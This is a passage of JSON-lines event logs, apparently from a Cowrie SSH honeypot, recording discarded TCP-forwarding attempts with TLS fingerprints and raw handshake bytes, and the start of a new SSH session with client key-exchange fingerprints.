1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:35.727804Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:36.181755Z","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:36.412366Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4M\\xb9\\x0bf\\xa7\\x0c\\x10\\xdf}\\xca\\xcc\\x91\\x11\\xccR_\\xfbY\\x0f)\\xfc\\xc1\\x7f\\x99*\\x9d\\xb2\\xfd\\xfc\\xfc\\xae iYB\\xde]\\x1c\\xc9\\xc8;\\xb2\\xb5r\\xc7\\x8e\\xdb){\\xb73;\\x80\\xe1\\x97]\\xf3?\\xbf\\xd0a\\xb8pq\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xac\\xe1\\xaa,\\xba~\\x17\\x8e\\x02;\\x16n\\xba\\x1a\\xe1\\x06\\x08_bx\\x85\\x91\\xfc\\xef88\\x9ajQ\\x9b\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4M\\xb9\\x0bf\\xa7\\x0c\\x10\\xdf}\\xca\\xcc\\x91\\x11\\xccR_\\xfbY\\x0f)\\xfc\\xc1\\x7f\\x99*\\x9d\\xb2\\xfd\\xfc\\xfc\\xae iYB\\xde]\\x1c\\xc9\\xc8;\\xb2\\xb5r\\xc7\\x8e\\xdb){\\xb73;\\x80\\xe1\\x97]\\xf3?\\xbf\\xd0a\\xb8pq\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xac\\xe1\\xaa,\\xba~\\x17\\x8e\\x02;\\x16n\\xba\\x1a\\xe1\\x06\\x08_bx\\x85\\x91\\xfc\\xef88\\x9ajQ\\x9b\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:36.415407Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:36.790577Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:37.769929Z","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:38.013011Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xa6\\x04-\\xde\\xa1\\xdb\\xec\\x1a\\xb7\\x10\\xdd\\x87%b\\xd2\"\\xc0\\xdeM\\xcc\\xb1=\\x8f\\xb4\\x8e\\xae_k\\x80d\\x12 L+\\xeb\\x0b\\xa6\\xf3\\xc9\\xd8\\x97\\xb8\\xfd\\xe5\\xa4\\x12H^\\xa9IT\\x04\\xc3/q\\xdc@2f\\xa9 \\xf0\\xff\\x93\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 x\\xcd\\xed<RHx\\xe58\\x89\\xfe\\x1c\\xeds\\xfc`\\xdf\\x9f\\xce$\\xdf\\x82\\x12\\x02\\x04\\xeabF=f\\x05P\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xa6\\x04-\\xde\\xa1\\xdb\\xec\\x1a\\xb7\\x10\\xdd\\x87%b\\xd2\"\\xc0\\xdeM\\xcc\\xb1=\\x8f\\xb4\\x8e\\xae_k\\x80d\\x12 L+\\xeb\\x0b\\xa6\\xf3\\xc9\\xd8\\x97\\xb8\\xfd\\xe5\\xa4\\x12H^\\xa9IT\\x04\\xc3/q\\xdc@2f\\xa9 \\xf0\\xff\\x93\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 x\\xcd\\xed<RHx\\xe58\\x89\\xfe\\x1c\\xeds\\xfc`\\xdf\\x9f\\xce$\\xdf\\x82\\x12\\x02\\x04\\xeabF=f\\x05P\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:38.016100Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:38.254802Z","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:38.490269Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\x18\\xc9}\\xd36\\x921\\x9c\\x8f\\xe2\\x89\\xd2\\xc7\\x7f\\x80\\xe4\\x90\\x9d\\xb4RJ\\xf5\\x1c\\xd1\\xf9Hc#jQ\\xa6 \\xa3+Va\\xd2\\xd6\\xfab\\xfa\\x14pJ\\xde\\\\e\\xd5\\x1fC\\xd6e\\xdfjU\\x01O}\\x10\\xac;\\xb2\\x99\\xed\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x12)\\xd0qj\\x92\\xb1\\'\\xe5\\xe9\\xe5\\xfc\\xc4\\xc8\\xb8\\x01\\xea\\xbc\\x03\\xf4\\x88\\xaf\\xebk\\xd1z\\xff\\xfb\\xe4\\xe9N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\x18\\xc9}\\xd36\\x921\\x9c\\x8f\\xe2\\x89\\xd2\\xc7\\x7f\\x80\\xe4\\x90\\x9d\\xb4RJ\\xf5\\x1c\\xd1\\xf9Hc#jQ\\xa6 \\xa3+Va\\xd2\\xd6\\xfab\\xfa\\x14pJ\\xde\\\\e\\xd5\\x1fC\\xd6e\\xdfjU\\x01O}\\x10\\xac;\\xb2\\x99\\xed\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x12)\\xd0qj\\x92\\xb1\\'\\xe5\\xe9\\xe5\\xfc\\xc4\\xc8\\xb8\\x01\\xea\\xbc\\x03\\xf4\\x88\\xaf\\xebk\\xd1z\\xff\\xfb\\xe4\\xe9N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:38.493269Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:38.899110Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":16286,"dst_ip":"159.203.135.109","dst_port":22,"session":"56df05414a48","protocol":"ssh","message":"New connection: 49.247.37.22:16286 (159.203.135.109:22) [session: 56df05414a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:40.629167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:40.633870Z","src_ip":"49.247.37.22","session":"56df05414a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 